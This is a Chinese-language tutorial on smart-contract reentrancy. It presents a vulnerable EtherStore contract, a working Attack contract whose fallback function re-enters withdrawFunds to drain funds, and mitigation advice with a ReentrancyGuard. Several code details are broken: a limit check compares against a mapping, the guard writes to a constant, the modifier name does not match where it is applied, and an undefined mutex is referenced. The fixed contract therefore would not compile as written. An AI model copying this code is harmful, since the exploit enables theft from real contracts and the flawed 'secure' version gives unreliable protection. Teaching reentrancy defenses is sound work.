前提:一个消息调用的目标,可以再次进行智能合约创建或者信息调用。
重入:消息调用的目标智能合约函数中又调用了发起消息调用的智能合约的函数。
假设:智能合约A有函数F1,攻击合约B有函数F2。F1功能是向消息发送方转账,或者调用消息发送方的特定函数,B就有可能利用重入进行攻击。
受害者合约:
contract EtherStore{
uint256 public withdrawaLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
//限制取回金额不能超过1ether
require(_weiToWithdraw <= lastWithdrawTime);
//限制每周取一次
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
攻击合约:
import "EtherStore";
contract Attack{
EtherStore public etherStore;
//EtherStore合约地址作为构造参数来创建攻击该合约
constructor(address _etherStoreAddress){
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable{
//发起攻击需要启动资金
require(msg.value >= 1 ether);
//调用depositFunds函数充值
etherStore.depositFunds.value(1 ether)();
//启动攻击
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
//fallback 函数 秘密所在
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
原理:由于EtherStore合约withdrawFunds函数使用call函数转账,会附加"所有可用gas",并触发msg.sender的fallback函数。fallback 函数再次调用withdrawFunds函数套利,由于withdrawFunds函数最后两步需要减去msg.sender对应的余额并记录导致递归调用withdrawFunds函数require判断都能通过。
如何避免:
1.确保在外部函数调用之前修改相应的智能合约状态变量(并且要在修改状态变量之前做严格的检查),而不要在外部函数调用之后再修改,因为用户无法控制外部函数的行为。
2.如果用户的目的只是向目标地址转账,那么一定要使用transfer函数,而不是用来执行消息调用(函数调用)的call函数。
3.使用拒绝重入模板合约。
pragma solidity ^0.4.24;
contract ReentrancyGuard{
uint private constant REENTRANCY_GUARD_FREE = 1;
uint private constant REENTRANCY_GUARD_LOCKED = 2;
uint private constant reentrancylock = REENTRANCY_GUARD_FREE;
modifier nonreentrant(){
require(reentrancylock == REENTRANCY_GUARD_FREE);
reentrancylock = REENTRANCY_GUARD_LOCKED;
_;
reentrancylock = REENTRANCY_GUARD_FREE;
}
}
应用后的EtherStore合约。
import "ReentrancyGuard"
contract EtherStore is ReentrancyGuard{
uint256 public withdrawaLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
//withdrawFunds函数声明为nonReentrant
function withdrawFunds (uint256 _weiToWithdraw) public nonReentrant {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
//限制取回金额不能超过1ether
require(_weiToWithdraw <= lastWithdrawTime);
//限制每周取一次
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
//修改msg.sender余额状态和取款时间后才进行转账操作
msg.sender.transfer(_weiToWithdraw);
}
}